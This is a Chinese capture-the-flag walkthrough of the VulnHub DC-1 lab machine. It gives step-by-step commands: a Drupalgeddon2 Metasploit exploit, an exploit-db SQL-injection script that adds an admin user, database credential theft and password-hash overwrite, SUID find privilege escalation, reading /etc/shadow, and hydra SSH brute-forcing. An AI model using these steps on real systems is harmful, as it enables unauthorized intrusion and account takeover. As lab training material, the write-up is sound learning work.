DC-1靶机的渗透学习

目录

0X00 靶机的环境搭配

0X01信息收集

一、IP扫描

二、端口扫描

三、网站目录扫描​​​​​​​

四、查看网站结构

五、进一步信息收集

六、查询攻击方式

0X02 开始渗透

一、flag1

1.1 漏洞搜索

1.2 漏洞选择

1.3 开始攻击

1.4 进一步信息收集

二、flag2

1.1 查看配置文件

三、flag3

3.1 方法一

3.1-1 SQL注入管理员用户

3.1-2 数据库访问

3.1-3 反弹shell连接数据库

3.1-4 查询管理员账户

3.2  方法二

3.2-1 drupal的加密

3.2-2  重新进入数据库改写密码

四、flag4 

4.1 查看flag4文件

4.2 影子文件提权

4.3 查看shadow和passwd

4.4 ssh连接

五、flag5

0X03 总结

一、夺旗介绍

二、知识点

2.1 知识小点

2.2 数据库密码分析

三、报错分析


0X00 靶机的环境搭配

攻击机(Kali):192.168.226.129

靶机(DC-1):    192.168.226.131(未知)

靶机地址:       DC: 1 ~ VulnHub

0X01信息收集

一、IP扫描

nmap -sn 192.168.226.0/24
找到kali的IP地址,用nmap扫描同一网段找到靶机的IP

  

一般扫描出来的在中间,而129是kali的,所以可以确定的是靶机的地址是192.168.226.131

通过mac地址也能确定

二、端口扫描

IP地址拿到手让我们kk开放了哪些端口

nmap -T4 -sV -O -A -p 80,445,22,139 192.168.226.131
-T4(速度) -sV(版本扫描和开启的服务) -O(操作系统) -p-(全部端口)

我们发现80、22、111端口、

80端口打开所以可以访问网站       22号端口代表可以访问ssh服务(远程连接)

三、网站目录扫描

dirb http://192.168.226.131

四、查看网站结构

使用Firefox插件Wappalyzer查看到如下网页信息
# 三大PHP CMS网站:Drupal、 Wordpress、Joomla

发现了3个重要信息  服务器采用的是drupal内容管理系统且版本低,可以作为渗透的方向

由于不知道账号密码不建议采用sql注入

五、进一步信息收集

robots.txt   互联网道德协议,约定爬虫哪些东西不能爬取,但是不能爬取也暴露了哪些就是重要信息,一般存放在根目录下

知道了Drupal的版本为7.X后,就可以开始进行漏洞利用了,Drupal 7.X版本有远程代码执行漏洞

六、查询攻击方式

0X02 开始渗透

一、flag1

1.1 漏洞搜索

打开msf  输入msfconsole、搜索search drupal漏洞

msfconsole  打开msf
search drupal  搜索drupal漏洞

1.2 漏洞选择

选择2018年的载荷由第二部份的信息收集得出

查看需要设置的参数,yes的即为需要设置的,其他都设置好了,在这里只用设置RHOSTS

use exploit/unix/webapp/drupal_drupalgeddon2  #多次实验发现只有这个能用
show options 查看需要设置的参数,yes的即为需要设置的,其他都设置好了,在这里只用设置RHOSTS
 

1.3 开始攻击

输入靶机IP地址,开始攻击

set RHOSTS 192.168.226.131  靶机的IP
exploit 开始执行

1.4 进一步信息收集

取得meterpreter,拥有了部分操控权限,让我们看看有什么

找到了flag1打开kk

翻译为  每个好的CMS都需要一个配置文件——你也是。

二、flag2

1.1 查看配置文件

meterpreter > cat /var/www/sites/default/settings.php

drupal的配置文件在网站根目录下的/site/defaultx下的setting.php文件中

在这里我们找到了3样东西  flag2、提示:暴力和字典攻击并不是获得访问权限的唯一方法(而且您需要访问权限)。你能用这些证件做什么?数据库信息

'database' => 'drupaldb',

'username' => 'dbuser',    

'password' => 'R0ck3t',    #下文用的数据访问密码

'host' => 'localhost',

三、flag3

meterpreter > shell     #启动shell 执行行命令

Process 3615 created.
Channel 2 created.
python -c 'import pty;pty.spawn("/bin/bash")'      #开启反弹shell

www-data@DC-1:/var/www$ cat /var/www/includes/bootstrap.inc | grep VERSION  

#查看版本信息为Drupal的7.24版本
msf6 > searchsploit drupal  #新建一个msf查看该版本的漏洞,选择7.31版本以下的漏洞

我们有两种方法,一种是增加一个管理员

在exploitdb中有一个针对Drupal 7版本的攻击脚本,可以增加一个admin权限的用户账号

3.1 方法一

3.1-1 SQL注入管理员用户

┌──(root㉿kali)-[~]
└─# python -V   这条攻击载荷需要在python2的环境下执行,新版本kali需要手动切换版本 

update-alternatives --list python      查看所有python版本

update-alternatives --install /usr/bin/python python /usr/bin/python2 100 

update-alternatives --install /usr/bin/python python /usr/bin/python3 150

#设置python2,3进入手动选择

update-alternatives --config python   手动选择python版本

┌──(root㉿kali)-[~]
└─# python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.238.133 -u admin2 -p admin2        #  SQL注入个管理员账户

3.1-2 数据库访问

meterpreter >mysql -udbuser -pR0ck3t   

[-]unknown command :mysql -udbuser -pr0ck3t    #进去数据库失败

meterpreter > shell

Process 3615 created.
Channel 2 created.

netstat -ano  #分析原因,数据库只允许本地连接

3.1-3 反弹shell连接数据库

我们查看到 3306号端口只允许本地访问,而3306是mysql的默认端口看来我们更加得要获取一个交互式shell了,我们用python做一个反弹shell,如果执行不了先退出shell(ctrl+c) 在重新进入shell执行

meterpreter > shell     #启动shell 执行行命令

Process 3615 created.
Channel 2 created.
python -c 'import pty;pty.spawn("/bin/bash")'

#获取交互式shell,使其可执行MySQL语句
www-data@DC-1:/var/www$ mysql -udbuser -pR0ck3t    #进入MySQL

3.1-4 查询管理员账户

mysql> show databases;    显示所有数据库
mysql> use drupaldb;    选择当前数据库为dr库
mysql> show tables;   显示所以数据表
mysql> select * from users;  显示users表中所有内容,查找管理员账户

#我们发现了新增的管理员账户,也可以登陆网页是否成功查看

3.2  方法二

3.2-1 drupal的加密

用drupal的加密脚本加密,脚本在根目录下的scripts

ctrl+c 退出MySQL
meterpreter > shell    #重新进入shell

Process 3708 created.
Channel 2 created.
python -c 'import pty; pty.spawn("/bin/bash")'  重新取得交互式shell
www-data@DC-1:/var/www$ php scripts/password-hash.sh xinmima 

#后面的是你设置的密码

3.2-2  重新进入数据库改写密码

www-data@DC-1:/var/www$ mysql -udbuser -pR0ck3t    进入MYSQL
mysql>use drupaldb;  进入数据库
update drupaldb.users set pass="$S$Dxnx8JJtN4p5DGak1wRif7p.aln.VeeNp0bPNuZo4tZEjLyq8GHL" where name="admin";        #第一段接新密码,第二段接从aln前三位开始到最后
<f7p.aln.VeeNp0bPNuZo4tZEjLyq8GHL" where name="admin";

使用获取得到的管理员登录浏览器找到flag3

四、flag4 

4.1 查看flag4文件

flag3的信息中提到了passwd和shadow,很明显就是/etc/passwd和/etc/shadow,还提到了find、perms、-exec,这几个是提权用的。

ctrl+c 退出MySQL
meterpreter > shell    #重新进入shell

Process 3708 created.
Channel 2 created.
python -c 'import pty; pty.spawn("/bin/bash")'     #重新取得交互式shell

www-data@DC-1:/var/www$ find / -name "*flag*"     #查找flag文件

查看flag4文件失败,提醒我们要切换用户为root查看

4.2 影子文件提权

 我们来查看提示的/etc/passwd和/etc/shadow 的内容。需要提升权限

查找具有SUID权限的文件,4000是SUID的代号
SUID文件:给予访问者这个文件的临时权限,如果权限为root的话当访问者调用这个程序时访问者权限临时变为root   我们看到find这个命令刚好是SUID文件,所以我们可以通过find提权(flag3也有提示)

www-data@DC-1:/var/www$ find / -perm -4000   #查找suid权限的命令

www-data@DC-1:/var/www$ find ./ aaa -exec '/bin/sh' \;     #find提权

find ./ aaa -exec '/bin/sh' \;

#

 

4.3 查看shadow和passwd

# cat /etc/shadow    #flag4是一个用户

# cat  /etc/passwd    #找到了flag4 这个用户,并且它有/bin/bash权限,所以可以用来提权它,使用find命令查找有特殊权限suid的命令     

 

4.4 ssh连接

前面nmap扫描的时候发现了 ssh 服务,现在又发现了 flag4 用户,所以尝试使用hydra进行密码的暴力猜解 找到密码orange

┌──(root㉿kali)-[~]
└─# sudo hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz 192.168.238.133 ssh

使用得到用户名密码【 flag4/orange】

登录靶机也可以用kali远程连接ssh flag4@192.168.226.131 

我们发现是发现是“$”(普通权限),而不是“#”(root权限),需要使用find命令提权为root

 

4.4 查看flag4

flag4@DC-1:~$ ls
flag4.txt
flag4@DC-1:~$ cat flag4.txt

查看找到flag4.txt文件提示还有一个在根目录下

五、flag5

由前面知影子文件打不开所以需要提权

flag4@DC-1:~$ find ./ aaa -exec '/bin/sh' \;
# whoami
root
# cd /root
# ls
thefinalflag.txt
# cat thefinalflag.txt
Well done!!!!

Hopefully you've enjoyed this and learned some new skills.

You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7

0X03 总结

一、夺旗介绍

flag1根目录下/var/www用msf的2018模块入侵
flag2根目录下/site/defaultxcat查看
flag3网页content里看到用获取到账号密码登录
flag4/home/flag4find / -name "*flag"
thefinalflag.txt/rootfind / -name "*flag"

二、知识点

2.1 知识小点

/etc/passwd 是一个文件。它存储用户帐户信息。它包含系统帐户的列表,为每个帐户提供一些有用的信息,如用户 ID、组 ID、主目录、shell 等、shadow文件存储Linux用户的密码信息,只有root用户有权限读取此文件

SUID 给予访问者文件的权限,4000是SUID的代码,所以可以用find提权

find命令配合-exec选项提权;在执行这条指令必须指定外壳为/bin/sh,经过尝试/bin/bash等其他外壳拿到的不是root权限。name后跟一个文件名,可以指定自己创建的   touch 1

2.2 数据库密码分析

update drupaldb.users set pass="$S$Dxnx8JJtN4p5DGak1wRif7p.aln.VeeNp0bPNuZo4tZEjLyq8GHL" where name="admin";        #第一段接新密码,第二段接从aln前三位开始到最后
<f7p.aln.VeeNp0bPNuZo4tZEjLyq8GHL" where name="admin";

三、报错分析

新版kali默认用的是python3需要手动切换到python2才能用sql注入管理员用户

┌──(root㉿kali)-[~]
└─# python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.238.133 -u admin1 -p admin1   
  File "/usr/share/exploitdb/exploits/php/webapps/34992.py", line 240
    print "[!] VULNERABLE!"
          ^
SyntaxError: Missing parentheses in call to 'print'. Did you mean print("[!] VULNERABLE!")?

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值